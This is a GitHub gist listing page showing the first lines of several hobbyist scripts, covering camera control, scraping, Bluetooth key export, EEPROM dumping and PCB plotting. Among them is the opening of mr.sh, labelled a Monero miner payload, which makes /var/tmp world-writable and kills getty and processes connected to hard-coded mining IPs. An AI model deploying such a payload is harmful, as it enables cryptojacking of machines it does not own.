Skip to content

Instantly share code, notes, and snippets.

yair 5shekel

Block or report user

Report or block 5shekel

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@5shekel
5shekel / spectrometer.py
Created Apr 25, 2019
multi-spectral imaging system
View spectrometer.py
from __future__ import division
import time
import Adafruit_PCA9685
from pyueye import ueye
import ctypes
import datetime
pwm = Adafruit_PCA9685.PCA9685(address = 0x40) #1st
pwm1 = Adafruit_PCA9685.PCA9685(address = 0x41) #2nd
@5shekel
5shekel / extract_youtube_videoid.py
Created Feb 23, 2019 — forked from satomacoto/extract_youtube_videoid.py
Extract youtube video id from html
View extract_youtube_videoid.py
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# extract YouTube videoids from html
import re
import json
import urllib2
from BeautifulSoup import BeautifulSoup
def get_videoids(url):
@5shekel
5shekel / export-ble-infos.py
Last active Jan 23, 2019 — forked from Mygod/export-ble-infos.py
Export your Windows Bluetooth LE keys into Linux!
View export-ble-infos.py
#!/usr/bin/python3
"""
Export your Windows Bluetooth LE keys into Linux! (arch edition)
Thanks to: http://console.systems/2014/09/how-to-pair-low-energy-le-bluetooth.html
discussed here: https://unix.stackexchange.com/questions/402488/dual-boot-bluetooth-device-pairing
Usage:
$ ./export-ble-infos.py <args>
$ sudo bash -c 'cp -r ./bluetooth /var/lib'
@5shekel
5shekel / pupetter.js
Created Nov 27, 2018
//grab a screenshot using chromedriver headless
View pupetter.js
//grab a screenshot using chromedriver headless
//see install of pupetter on
//https://pptr.dev/
const puppeteer = require('puppeteer');
// print process.argv
console.log(process.argv.length);
if (process.argv.length <= 2) {
console.log("Usage: " + __filename + " URL and IMAGE.jpg");
@5shekel
5shekel / scrap99.py
Last active Nov 27, 2018
get yo links
View scrap99.py
#script guidance from John G. Fisher
# check his youtube https://www.youtube.com/watch?v=e6xZAISu-5E
# grab all links we talked about
from bs4 import BeautifulSoup
import requests
import re
#use 'python http.server' on the directory to serve the folder. sb4 doesnt do local links
inbox_path='http://localhost:8000/messages/inbox/ElBootkeh_64b09d1ba5/message.html'
print(inbox_path)
@5shekel
5shekel / weaver_dump_eeprom.ino
Last active Nov 11, 2018
dump of textile card
View weaver_dump_eeprom.ino
#include <stdint.h>
// Set MAX_ADDR to the largest address you need
// to read. For example, for the 27C512 chips,
// you'll want to use a MAX_ADDR of 65536.
// (That's 512 * 1024 / 8.)
// A 27C256 would be 256 kilobits, or 256 * 1024 / 8 =
// 32768.
#define MAX_ADDR 32768L
@5shekel
5shekel / mr.sh
Last active Aug 13, 2019
payload for monero crypto miner
View mr.sh
#!/bin/bash
mkdir /var/tmp
chmod 777 /var/tmp
pkill -f getty
netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
@5shekel
5shekel / zimmer-mailist.js
Created Sep 20, 2018
a form to subscribe to list
View zimmer-mailist.js
<div id="mc_embed_signup">
<form action="//zimmeramma.us9.list-manage.com/subscribe/post?u=5451b67137c5c418cd2b12858&amp;id=a00e351fb6" method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank" novalidate>
<div id="mc_embed_signup_scroll">
<h2>Subscribe to zimmer mailing list</h2>
<div class="mc-field-group">
<label for="mce-EMAIL">Email Address </label>
<input type="email" value="" name="EMAIL" class="required email" id="mce-EMAIL">
</div>
<div id="mce-responses" class="clear">
<div class="response" id="mce-error-response" style="display:none"></div>
View plot_gerber.py
'''
A python script example to create plot files to build a board:
Gerber files
Drill files
source https://github.com/KiCad/kicad-source-mirror/blob/master/demos/python_scripts_examples/plot_board.py
additons via https://github.com/beagleboard/pocketbeagle/blob/master/kicad-scripts/kicad-fab.py
to use
$> python2 plot_gerber.py ../shnzn2svgExport/export.kicad_pcb
View 3d_array.ino
//see http://arduino.land/FAQ/content/6/32/en/passing-arrays-to-functions.html#pass-multi-by-pointer
int arr_3Da[1][2][3] {
{
{1, 2, 3},
{4, 5, 6}
}
};
You can’t perform that action at this time.